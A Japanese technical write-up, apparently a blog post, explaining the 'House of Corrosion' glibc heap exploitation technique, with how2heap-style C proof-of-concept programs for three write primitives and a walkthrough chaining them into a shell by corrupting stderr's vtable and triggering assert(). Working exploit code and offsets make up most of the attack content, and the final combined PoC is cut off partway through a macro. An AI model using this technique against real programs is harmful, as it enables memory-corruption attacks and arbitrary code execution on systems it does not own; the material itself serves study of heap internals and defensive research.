イントロ Link to this heading

House of Corrosion (以下HoC)は 2019 年 1 月 25 日に CptGibbon 氏によって発表された heap exploitation 手法である。

自分の確認できる範囲で解説記事は

の 2 つだけであった。

本エントリでは how2heap 形式の PoC を軸として解説を進めていく。

尚、本エントリは _int_malloc() / _int_free() / malloc_consolidation() / unlink 等のmalloc.cの内容をを理解していることを前提としている。

概要 Link to this heading

HoC でできることを概観する:

できること Link to this heading

  • Advantage1: 任意の 8byte-aligned 高位アドレスに巨大な値を書き込む
  • Advantage2: 任意の 8byte-aligned 高位アドレスに任意の値を書き込む
  • Advantage3: 任意の 8byte-aligned 高位アドレスにある値を任意の 8byte-aligned 高位アドレスに対して書き写す
  • これらの書き込み/読み込みを、オフセットのみ既知の libc シンボルに対して行うことができる
  • 以上を踏まえて、一切のアドレスリーク無しに 4bit-bruteforce のみでシェルを取ること

制約 Link to this heading

  • UAF があること
  • 任意サイズのmalloc()が任意回数行えること

やはり一番の特徴はアドレスリークが不要なことであろう。 詳しくは後述するが、これは main_arena中のfastbinsY を中心にして exploit をするから可能なことである。 尚これも理由は後述するが、 ここでいう「高位(higher)」アドレスとは fastbinsY よりも高位のアドレスを意味する。

3 つの Advantage Link to this heading

HoC では1つの準備によって3つの利点が生じる。 以下ではその準備と、3 つの利点を PoC 付きで説明していく。

準備 Link to this heading

fastbins に入る最大サイズは global_max_fast (以下gmf) の値によって決まる (デフォルトで 0x80)。 この size 以下で tcaching されない chunk は、free()されると main_arena 中の fastbinsY (type: mfastbinptr (*)[10]) に格納されることになる。

fastbinsY には size:0x20以上のエントリが 0x10byte 毎に格納される。 fastbinsY には size:0x20 以上のエントリが 0x10byte 毎に格納される FIFO 方式であるから、free()されると該当のfastbinsYエントリには free した chunk のアドレスが、 free した chunk の fd にはfastbinsYのアドレスが書き込まれることになる

HoC ではこのgmfを大きな値に書き換えることによって、任意 size の chunk をこの fastbins に入れられるようにすることを準備とする

gmf 書き換えには unsortedbin attack を用いる。 ただの unsortedbin attack ゆえ、以下で軽く説明するだけに留める。

free() 時に gmf 以上の size をもつ chunk は unsortedbin に繋がれる。 この unsortedbin は main_arena->bins (type: (mchunkptr ()[254])*)[0,1] に実体を持ち、 main_arenaの先頭からのオフセットは0x70である:

よって freed chunk の bk には main_arena+0x70 のアドレスが入ることになる。 このアドレスと gmf は下 4nibble を除いて同じである。 また、libcbase の下 3nibble は必ず0x000であるためこれは既知の値となる。 故にgmfのアドレスは第 4nibble 目の 4bit のエントロピーを持ち、 十分に unsortedbin attack で bruteforce 可能であると言える。 即ち、main_arena+0x70 の下 2byte(内 4nibble 目は総当り)を書き換えることで、 次のmalloc()時に凡そ1/16の確率で gmfmain_arena+0x70の値で上書きすることができる。

Advantage1: 任意の 8byte-aligned 高位アドレスに巨大な値を書き込む Link to this heading

これで fastbins に任意サイズの chunk が入るようになった。 上に述べたような fastbinsY へのアドレスの書き込みによって、 任意の 8byte-aligned アドレスに巨大な値(heap のアドレス)を書き込めるようになることが分かるであろう。 その際には、目的のアドレスに書き込まれるように malloc() するサイズを調整しなければならないのだが これは以下の公式で計算できる:

.txt
1size = (distance * 2) + 0x20

ここで distancemfastbinsY と 目的のアドレスのオフセットである。

さて、この Advantage1 の PoC が以下である。 尚、本来この unsortedbin attacok は 4bit のエントロピーを持つのだが いちいち try and error をするのが面倒なため、 PoC では予め用意したアドレスをもとに 100%成功するようにしている。 本エントリの目的が HoC を理解することであるため、煩わしい部分は省略していく。 但し、DEBUGマクロを外すことで実際のシチュエーションと同じようにアドレス未知の状態で実行できるようにもしている:

adv1.c
  1//Advantage1: Write a huge value to almost arbitrary 8byte-aligned higher addr
  2
  3#include<stdio.h>
  4#include<unistd.h>
  5#include<stdlib.h>
  6#include<string.h>
  7
  8typedef unsigned long long ull;
  9
 10#define DEBUG 0
 11#define WAIT while(fgetc(stdin)!='\n');
 12
 13ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
 14ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
 15ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
 16ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase
 17
 18unsigned size_formula(unsigned long delta){
 19  return (unsigned)(delta*2 + 0x20);
 20}
 21
 22int main(int argc, char *argv[])
 23{
 24  WAIT
 25
 26  // calc and get some addrs
 27  char num;
 28  ull *addr_stdout = stdout;
 29  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
 30  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
 31  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
 32  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
 33  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
 34  ull *attack;
 35  ull *target = 0;
 36  ull temp;
 37  ull *temp_ptrs[10];
 38  printf("Advantage 1\n");
 39  printf("_________________________\n\n");
 40  printf("* unsortedbin attack *\n");
 41  printf("[+]&global_max_fast: %p\n",addr_gmf);
 42
 43  // alloc some chunks (0x30 for avoiding consolidation)
 44  unsigned long *a = malloc(0x450); //for unsortedbin attack
 45  malloc(0x30);
 46  unsigned long *a2 = malloc(0x450);
 47  malloc(0x30);
 48  unsigned long *a3 = malloc(0x450);
 49  malloc(0x30);
 50
 51  // prepare for Advantage 1
 52  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
 53  attack = malloc(size_stderr);
 54  free(a); //connect to unsortedbin
 55
 56  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
 57#ifndef DEBUG
 58  for(int ix=0;ix!=2;++ix){ //victim->bk
 59    temp = (unsigned long long)LSBs_gmf >> (8*ix);
 60    num = temp % 0x100;
 61    if(ix==0)
 62      num -= 0x10;
 63    *(char*)((unsigned long long)a+8+ix) = num;
 64  }
 65#else
 66  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
 67    temp = (ull)addr_gmf >> (8*ix);
 68    num = temp % 0x100;
 69    if(ix==0)
 70      num -= 0x10;
 71    *(char*)((ull)a+8+ix) = num;
 72  }
 73#endif
 74
 75  //unsorted bin attack:
 76  printf("[*]unsortedbin attack...\n");
 77  malloc(0x450);
 78  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
 79
 80  //check whether the unsorted attack is success or not
 81  if(*addr_gmf != (ull)addr_main_arena+0x60){
 82    printf("\n\n[-]FAIL: unsortedbin attack\n");
 83    exit(0);
 84  }else{
 85    printf("\n[!]SUCCESS: unsortedbin attack\n");
 86  }
 87
 88
 89  /**Advantage 1: Overwrite almost arbitrary addr with chunk addr**/
 90  printf("\n* Advantage 1 *\n");
 91  printf("[+]Target address: %p (stderr)\n",stderr);
 92  printf("[+]stderr: %llx\n",*(ull*)stderr);
 93  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
 94    for(int ix=0;ix!=7;++ix){ //consume tcache
 95      temp_ptrs[ix] = malloc(size_stderr);
 96    }
 97    for(int ix=0;ix!=7;++ix){
 98      free(temp_ptrs[size_stderr]);
 99    }
100  }
101  printf("[*]attack...\n");
102  free(attack);
103
104  printf("[!]stderr: %llx\n",*(ull*)stderr);
105
106  printf("\n\nCan you understand? Debug by yourself now.\n");
107  //debugging time
108  WAIT
109
110  return 0;
111}

今回はターゲットを stderr とした。 実行すると以下のようになる:

stderr が heap のアドレスで上書きされていることが分かる。

Advantage2: 任意の 8byte-aligned 高位アドレスに任意の値を書き込む Link to this heading

Advantage1 では書き込める値が heap のアドレスに限定されていたが、 freed chunk の fd を UAF 等を利用して任意の値に書き変え、 その後でもう一度同じサイズのmalloc()をすることで、下図のように任意の値を target に書き込めるようになる:

以下の PoC では、target をstderr、書き込む値を0xDEADBEEFCAFEBABEとしている:

adv2.c
  1//Advantage2: Write arbitrary value to almost arbitrary 8byte-aligned higher addr
  2#include<stdio.h>
  3#include<unistd.h>
  4#include<stdlib.h>
  5#include<string.h>
  6
  7typedef unsigned long long ull;
  8
  9#define DEBUG 0
 10#define WAIT while(fgetc(stdin)!='\n');
 11
 12ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
 13ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
 14ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
 15ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase
 16
 17unsigned size_formula(unsigned long delta){
 18  return (unsigned)(delta*2 + 0x20);
 19}
 20
 21int main(int argc, char *argv[])
 22{
 23  WAIT
 24
 25  // calc and get some addrs
 26  char num;
 27  ull *addr_stdout = stdout;
 28  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
 29  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
 30  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
 31  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
 32  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
 33  ull *attack;
 34  ull *target = 0;
 35  ull temp;
 36  ull *temp_ptrs[10];
 37  printf("Advantage 2\n");
 38  printf("_________________________\n\n");
 39  printf("* unsortedbin attack *\n");
 40  printf("[+]&global_max_fast: %p\n",addr_gmf);
 41
 42  // alloc some chunks (0x30 for avoiding consolidation)
 43  unsigned long *a = malloc(0x450); //for unsortedbin attack
 44  malloc(0x30);
 45  unsigned long *a2 = malloc(0x450);
 46  malloc(0x30);
 47  unsigned long *a3 = malloc(0x450);
 48  malloc(0x30);
 49
 50  // prepare for Advantage 1
 51  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
 52  attack = malloc(size_stderr);
 53  free(a); //connect to unsortedbin
 54
 55  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
 56#ifndef DEBUG
 57  for(int ix=0;ix!=2;++ix){ //victim->bk
 58    temp = (unsigned long long)LSBs_gmf >> (8*ix);
 59    num = temp % 0x100;
 60    if(ix==0)
 61      num -= 0x10;
 62    *(char*)((unsigned long long)a+8+ix) = num;
 63  }
 64#else
 65  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
 66    temp = (ull)addr_gmf >> (8*ix);
 67    num = temp % 0x100;
 68    if(ix==0)
 69      num -= 0x10;
 70    *(char*)((ull)a+8+ix) = num;
 71  }
 72#endif
 73
 74  //unsorted bin attack:
 75  printf("[*]unsortedbin attack...\n");
 76  malloc(0x450);
 77  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
 78
 79  //check whether the unsorted attack is success or not
 80  if(*addr_gmf != (ull)addr_main_arena+0x60){
 81    printf("\n\n[-]FAIL: unsortedbin attack\n");
 82    exit(0);
 83  }else{
 84    printf("\n[!]SUCCESS: unsortedbin attack\n");
 85  }
 86
 87
 88  /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
 89  printf("\n* Advantage 2 *\n");
 90  printf("[+]Target address: %p (stderr)\n",stderr);
 91  printf("[+]stderr: %llx\n",*(ull*)stderr);
 92  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
 93    for(int ix=0;ix!=7;++ix){ //consume tcache
 94      temp_ptrs[ix] = malloc(size_stderr);
 95    }
 96    for(int ix=0;ix!=7;++ix){
 97      free(temp_ptrs[size_stderr]);
 98    }
 99  }
100  printf("[*]attack1...\n");
101  free(attack);
102  printf("[!]stderr: %llx\n",*(ull*)stderr);
103
104  printf("[*]attack2...\n");
105  attack[0] = 0xdeadbeefcafebabe;
106  malloc(size_stderr);
107  printf("[!]stderr: %llx\n",*(ull*)stderr);
108
109  printf("\n\nCan you understand? Debug by yourself now.\n");
110  //debugging time
111  WAIT
112
113  return 0;
114}

実行すると以下のようになる:

stderr0xDEADBEEFCAFEBABEで書き換えられていることが分かる。

Advantage3: 任意の 8byte-aligned 高位アドレスの値を任意の 8byte-aligned 高位アドレスに書き写す Link to this heading

Advantage3 では任意のアドレスから値を任意のアドレスに対して書き写す(transplantation)ができる。 ここでは値を持ってくるアドレスをSRC, そこにある値を VALUE, 値を書き込む先のアドレスを DSTとする。

まず Advantage1 で DST に入るようなサイズの 2 つの chunk A,B を用意する。 ここでA,B は下位 1byte を除いて同じアドレスに位置するくらい近くに置かなくてはならない。 但し Adv1 で使うサイズは通常非常に大きく、普通にmallocをしてもそんなに近くは配置されないため、 予め overlapped chunk/UAF 等を利用して A/B を隣接させておく必要がある

その上で B->A の順に free() をして fake fastbins に繋ぐ。 この時点では A の fd には B のアドレスが入っている。 UAF 等を利用して A の fd の下 1byte のみを書き換えて、下図のようなA のみの循環リストを作る (前述したように下 1byte のみならばエントロピーは 0 である)。 この状態でもう一度 DST サイズのmallocをして A を取得する:

ここで overlapped chunk を利用して A のサイズを SRC のサイズに書き換える (ここで使用する overlapped chunk は後述するように A/B を近くに置く過程で自動的に手に入る)。 この状態で A を free すると A は SRC に繋がるため、A の fd には VALUE が書き込まれる。

この上でもう一度 DST のサイズでmallocすると、 DST には fd として VALUE が書き込まれることが分かる:

以上のように値の transplantation を行うことができる。 更に、A に VALUE が書き込まれている状態(画像の 2 枚目の状態)で UAF 等を用いて VALUE の一部を書き換えることで、 ある値を一部分だけ変更して移植することもできる。 これを tamper in flight と呼ぶ。

使い方としては、libc の既知のアドレスが格納されているアドレスから値を持ってきて、 その下位 1byte を書き換えることで任意のアドレスに目的の libc シンボルのアドレスを書き込むと行ったことが考えられる。 (実際にこの手法は以下で説明するシェルを取る方法で使われている)

PoC は以下の通り。 SRCstderr (Adv2 で0xDEADBEEFCAFEBABEを書き込んでいる)、 DSTstderr+0x60 としている。 overlapped chunk を作る作業はマクロ化している:

adv3.c
  1//Advantage3: Transplant value from almost arbitrary higher addr from almost arbitrary higher addr
  2#include<stdio.h>
  3#include<unistd.h>
  4#include<stdlib.h>
  5#include<string.h>
  6#include<assert.h>
  7
  8#define ull unsigned long long
  9#define DEBUG 0
 10#define WAIT while(fgetc(stdin)!='\n');
 11
 12//A and tmp1 should be the same except for LSByte
 13#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size)\
 14  malloc(padd_size);\
 15  tmp1 = malloc(0x50);\
 16  A = malloc(0x20);\
 17  B = malloc(0x20);\
 18  tmp2 = malloc(0x50);\
 19  assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
 20  free(tmp1);\
 21  free(tmp2);\
 22  ((char*)tmp2)[0] = LSB_A;\
 23  tmp2 = malloc(0x50);\
 24  tmp1 = malloc(0x50);\
 25  printf("[-]A: %p\n",A);\
 26  printf("[-]B: %p\n",B);\
 27  printf("[-]tmp1: %p\n",tmp1);\
 28  printf("[-]tmp2: %p\n",tmp2);\
 29  tmp1[1] = (sz+0x10)|1;\
 30  tmp1[6] = 0;\
 31  tmp1[7] = (sz+0x10)|1;
 32
 33
 34ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
 35ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
 36ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
 37ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase
 38
 39unsigned size_formula(unsigned long delta){
 40  return (unsigned)(delta*2 + 0x20);
 41}
 42
 43int main(int argc, char *argv[])
 44{
 45  WAIT
 46
 47  // calc and get some addrs
 48  char num;
 49  ull *addr_stdout = stdout;
 50  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
 51  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
 52  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
 53  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
 54  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8); //SRC
 55  ull size_stderr0x60 = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8 + 0x60); //TARGET
 56  ull *attack,*A,*B,*tmp1,*tmp2,*padd, *chunk_fake_size;
 57  ull *target = 0;
 58  ull temp;
 59  ull *temp_ptrs[10];
 60  printf("Advantage 3\n");
 61  printf("_________________________\n\n");
 62  printf("* unsortedbin attack *\n");
 63  printf("[+]&global_max_fast: %p\n",addr_gmf);
 64
 65  // alloc some chunks (0x30 for avoiding consolidation)
 66  unsigned long *a = malloc(0x450); //for unsortedbin attack
 67  malloc(0x30);
 68  unsigned long *a2 = malloc(0x450);
 69  malloc(0x30);
 70  unsigned long *a3 = malloc(0x450);
 71  malloc(0x30);
 72
 73  // prepare for preparation
 74  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
 75  attack = malloc(size_stderr);
 76
 77  // prepare for Advantage 3
 78  GET_CLOSE_CHUNK(A,B,tmp1,tmp2,size_stderr0x60,0x70,0x30); //LSBytes sensitive!!
 79  chunk_fake_size = malloc(size_stderr0x60 + 0x100); //make fake size for fake fastbin's next chunk
 80  for(int ix=0;ix!=(size_stderr0x60+0x100)/0x10;++ix){
 81    *(chunk_fake_size+0+ix*2) = 0x0;
 82    *(chunk_fake_size+1+ix*2) = 0x30|1;
 83  }
 84
 85  //free and UAF
 86  free(a); //connect to unsortedbin
 87
 88  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
 89#ifndef DEBUG
 90  for(int ix=0;ix!=2;++ix){ //victim->bk
 91    temp = (unsigned long long)LSBs_gmf >> (8*ix);
 92    num = temp % 0x100;
 93    if(ix==0)
 94      num -= 0x10;
 95    *(char*)((unsigned long long)a+8+ix) = num;
 96  }
 97#else
 98  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
 99    temp = (ull)addr_gmf >> (8*ix);
100    num = temp % 0x100;
101    if(ix==0)
102      num -= 0x10;
103    *(char*)((ull)a+8+ix) = num;
104  }
105#endif
106
107  //unsorted bin attack:
108  printf("[*]unsortedbin attack...\n");
109  malloc(0x450);
110  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
111
112  //check whether the unsorted attack is success or not
113  if(*addr_gmf != (ull)addr_main_arena+0x60){
114    printf("\n\n[-]FAIL: unsortedbin attack\n");
115    exit(0);
116  }else{
117    printf("\n[!]SUCCESS: unsortedbin attack\n");
118  }
119
120
121  /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
122  printf("\n* Advantage 2 *\n");
123  printf("[+]Target address: %p (stderr)\n",stderr);
124  printf("[+]stderr: %llx\n",*(ull*)stderr);
125  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
126    for(int ix=0;ix!=7;++ix){ //consume tcache
127      temp_ptrs[ix] = malloc(size_stderr);
128    }
129    for(int ix=0;ix!=7;++ix){
130      free(temp_ptrs[size_stderr]);
131    }
132  }
133  printf("[*]attack1...\n");
134  free(attack);
135  printf("[!]stderr: %llx\n",*(ull*)stderr);
136
137  printf("[*]attack2...\n");
138  attack[0] = 0xdeadbeefcafebabe;
139  malloc(size_stderr);
140  printf("[!]stderr: %llx\n",*(ull*)stderr);
141
142  /**Advantage 3: Transplant the value**/
143  printf("\n* Advantage 3 *\n");
144  printf("[+]Target addr where transplant from stderr: %p\n",(ull*)((ull)stderr+0x60));
145  printf("[+]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));
146
147  free(B);
148  free(A);
149  ((char*)A)[0] = 0x70; //overwrite fd's LSByte
150  WAIT
151  A = malloc(size_stderr0x60);
152
153  tmp1[1] = (0x10 + size_stderr)|1; //overwrite A' sz to src(fastbin of B)
154  free(A);
155
156  tmp1[1] = (0x10 + size_stderr0x60)|1; //to avoid error when malloc
157  printf("[*]attack...\n");
158  malloc(size_stderr0x60);
159  printf("[!]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));
160
161  printf("\n\nCan you understand? Debug by yourself now.\n");
162
163  //debugging time
164  WAIT
165
166  return 0;
167}

実行すると以下のように stderr+0x60VALUE が書き込まれていることが分かる:

adv3

シェルを取るまでの概観 Link to this heading

以上の 3 つの Advantage を組み合わせるとシェルを取ることができる。 しかも大きな特徴として:

  • 一切のアドレスリーク無しで OK
  • 一切の出力系無しで OK
  • 4bit + α のエントロピーのみ

となっている。 尚自分自身、heap 関係はようやく最近入門したと言ってもいいくらいには理解してきたのだが、 ファイルストリーム系に関してはまだまだ理解が甘い部分が多いため、 間違ったことを述べないよう本エントリではその辺はざっくりとした説明のみを行う。 なお近日中に FileExploitation については整理したエントリを書くつもりである。o

シェルを取るまでの概略は以下の通り:

  • heap を整備する
  • global_max_fast を書き換える (unsortedbin attack)
  • stderr を改竄する (とりわけ vtable を書き換え _IO_str_overflow() が呼ばれるようにし、 その中での *((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); で onegadget が呼ばれるようにする
  • _int_malloc() の largebins の処理の最中に assert() を呼ばせ、stderrを動かすことで改竄した vtable を使わせる

以下では各ステップを PoC と共に説明する。 尚、HoC は出力系が一切なくアドレスリークも無い時に真価を発揮するのだが、 本 PoC では便宜上出力系は途中まで生かしておく (それでも途中で vtable を書き換え、mode=1とするため出力できなくなるのだが)。 また順序構成は本家とは変えており、 “Heap Feng Shui” についてはその名前を出さずに説明を行っている。

heap を整備する Link to this heading

本 exploit はその最中に大量の memory corruption を作り出すため、最初に heap がきれいな状態で heap を整備しておく必要がある。 各々の操作の詳しい説明は後で必要になった時に説明することとして、 取り敢えずやっておくべき処理は以下のとおりである:

largebin に繋ぐ用の chunk を作る Link to this heading

後々 largebin に繋がるように、1024byte 以上の chunk を作っておく。 この chunk はこの後 largebin に繋いだ後、 NON_MAINARENA フラグを立てる。 すると int_malloc() の処理で assert() が呼ばれることになる(これは最終ステージで使う)。 尚、 largebin 相当のサイズの chunk が unsortedbin に繋がった後それ以上のサイズのmalloc()が行われたときのみ largebin に繋がれることに注意:

.c
1printf("* Preparing for some chunks ...*\n");
2ull *padding = malloc(0x20);
3ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later

global_max_fast を書き換えるための unsortebin attack 用の chunk を作る Link to this heading

HoC の一番とっかかりである gmf の書き換えをする unsortedbin attack 用の chunk を作っておく。 書き換え前の global_max_fast よりも小さい値 (<0x80) ならば何でも OK。 但し、途中で consolidation されないように、間に chunk を挟んでおくなどする必要がある:

.c
1ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast

overlapped chunk と fake size を作る Link to this heading

stderr_IO_buf_endstderr_allocate_bufferを書き換えるために Adv3 を使うのだが、 そこで必要となる overlapped chunk を用意しておく。 これは単純作業のためマクロ化している。

また、Adv3 では chunk(A) のサイズを書き換えることで値の transplantation を行うのであったが、 このサイズの書き換えをした上で malloc/free をしても怒られないように 続く領域を fake size で埋めておく (size はMIN_SIZE以上システムメモリサイズ以下ならば何でも良い)。

尚この際に A の fd を自分自身を指すように書き換えなければならないため、 A が配置されるアドレスの下 1byte は事前に調べておき、動くことのないようにしておく必要がある (やはり前述したように heap の下 3nibble は固定であるため、個々で調べた値は変更を加えない限り何回プログラムを動かしても同じである):

.c
 1// Prepare for Advantage 3
 2/* LSB SENSITIVE !!! */
 3GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
 4GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);
 5
 6chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
 7for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
 8  *(chunk_fake_size+0+ix*2) = 0x0;
 9  *(chunk_fake_size+1+ix*2) = 0x30|1;
10}

Adv2 用の chunk を作る Link to this heading

Adv2 による任意値の書き込みに使う用の chunk を大量に作っておく。 数が多いだけで、全て fastbinsYtarget のオフセットを サイズ公式に入れた値分だけmalloc()しているだけである:

.c
1// Malloc chunks for Advantage2
2dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
3pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
4stderr_mode_chunk = malloc(size_stderr_mode);
5stderr_flags_chunk = malloc(size_stderr_flags);
6stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
7stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
8stderr_vtable_chunk = malloc(size_stderr_vtable);
9stdout_mode_chunk = malloc(size_stdout_mode);

largebin に chunk を繋げる Link to this heading

最終フェーズで assert() を呼ぶだめに必要な largebin に先程用意した chunk を繋げる。 free() 後に malloc() する chunk は largebin 用の chunk よりも大きなサイズでないと unsortedbin が分割されそこから取得されてしまうので注意。 その後 UAF 等を用いて NON_MAINARENA を立てる。 これで largebin の検査の際にこの chunk に遭遇すると assert() が起こるようになる:

.c
1// Connect to largebin with NON_MAINARENA 1
2printf("\n* Connecting to largebin...*\n");
3free(largebin);
4malloc(0x500);
5((ull*)(((ull)largebin)-0x10))[0] = 0;
6((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA

Unsortedbin attack で gmf を書き換える Link to this heading

やるだけなので省略する。 尚、全てまとめた完成版の PoC は本エントリの最後に載せてある。

Unsortedbin の bk を正常の chunk にする Link to this heading

これも先程述べた largebin に関係している。 malloc() の際には largebin の探索の前に unsortedbin の探索が走るわけだが、 普通に unsortedbin attack をしただけの状態だと unsortedbin->bkdumped_main_arena_end を指している。 そしてこの dumped_main_arena は chunk として見ると bk に NULL が入ってしまっている:

よってこれを正常な値にしてやらないと largebin の探索にまで入らず、 assert() が起こらないことになる。 そこでこの辺りをあたかも通常の unsorted であるかのように見せるために、 sizebk に該当する部分を書き換えてやる:

.c
1// Make unsortedbin's bk VALID
2printf("\n* Make unsortedbin's bk VALID...*\n");
3ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
4free(pedantic_chunk); //fd/bk
5printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
6printf("global_max_fast      : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));

vtable を始めとするストリームの改竄 Link to this heading

あとは ADV2/ADV3 を用いて諸々の書き換えを行うだけである。 ADV3 では前述した tamper in flight もできるようなマクロを作ってある。

まず今回は出力系が生きているため stderr/stdout の mode を 1 にすることで一旦殺す (そうしないとストリームを改竄した際にクラッシュする)。

その後、_IO_str_overflow() に於いて flags を用いた処理で止まらないように stderr->flags0にしておく。 また、確実に出力処理がなされるように stderr->_IO_write_ptr を非常に大きな値にしておく:

.c
1ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
2ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
3ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
4ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);

改竄はもう少し続く。 stderr->_IO_buf_end には何かしら大きな値を入れておく必要がある (ここの理由がまだ分かってない。。。)。 だが後述するように stderr->_IO_buf_base との差分が重要になってくるため、 これは既知の値である必要がある。 そこで、ここには _morecore に入っている値 (=__default_morecoreのアドレス) を入れておくことにする。

また、 _IO_str_overflow()call rax gadget を呼ばせるのだが、 この呼び出しをする際の rax の値が _IO_buf_end - _IO_buf_base になっており、 これを onegadget のアドレスにしなければならない。

先程 _IO_buf_end には _default_morecore のアドレスを入れたから、 ここには __default_morecorecall rax gadget のオフセットを入れておく。 尚 __morecore は後でもう一度使うため、もう一度 malloc() することで正常な値を戻しておく:

.c
1// Transplant __morecore's value to stderr->file._IO_buf_end
2ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
3tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
4A1 = malloc(size_morecore);

あと 2 点だけ。

結局のところやりたいことは:

  • assert() => _IO_file_jumps->_IO_new_file_xsputn

となるところを書き換えて:

  • assert() => _IO_str_jumps->_IO_str_overflow => _allocate_buffer == call rax => onegadget

という流れを作ることである。 よって後は _IO_file_jumps_IO_str_jumps に書き換え、しかも xsputn に該当する部分が _IO_str_overflow に該当するようにずらしておく:

そのオフセットは 0x20 であるから、vtable には _IO_str_jumps-0x20 のアドレスを入れておけば良い:

.c
1// Write LSByte of _IO_str_jumps on stderr->vtable
2ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));

そして最後に _allocate_buffer を onegadget に書き換えてしまえば終わりである。 尚この最後の書き換えは tampler in flight を用いて __default_morecore の下 2byte を書き換えることで行う (このような下 2byte の書き換えは PoC の中で 3 箇所で行われているが、最初の書き換えに成功した時点で残りの書き換えには全て成功するため、結局のところ全体が有するエントロピーは 4bit に変わりない)。


さて、長い長い改竄が終わった。 以上の書き換えを行うと、 stderr は以下のようになる:

assert()で発火させる Link to this heading

これらの準備をした上で小さなサイズの malloc() を すると assert() (_malloc_assert()) が呼ばれる 。 これによって上に示したようなフローで stderr を動かすことができ、シェルが取れるはずである。

PoC Link to this heading

各 Advantage はマクロ化している。 DEBUGマクロを外すことで実際のエントロピーを失わずに実験することができる:

.c
  1// House of Corrosion : PoC in the format of how2heap
  2// Even though DEBUG is defined, this exploit has some uncertainity due to the libc load addr's entropy
  3
  4#include<stdio.h>
  5#include<unistd.h>
  6#include<stdlib.h>
  7#include<string.h>
  8#include<assert.h>
  9
 10#define ull unsigned long long
 11#define DEBUG 0
 12#define WAIT while(fgetc(stdin)!='\n');
 13
 14//A and tmp1 should be the same except for LSByte
 15#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size) \
 16  malloc(padd_size);\
 17  tmp1 = malloc(0x50);\
 18  A = malloc(0x20);\
 19  B = malloc(0x20);\
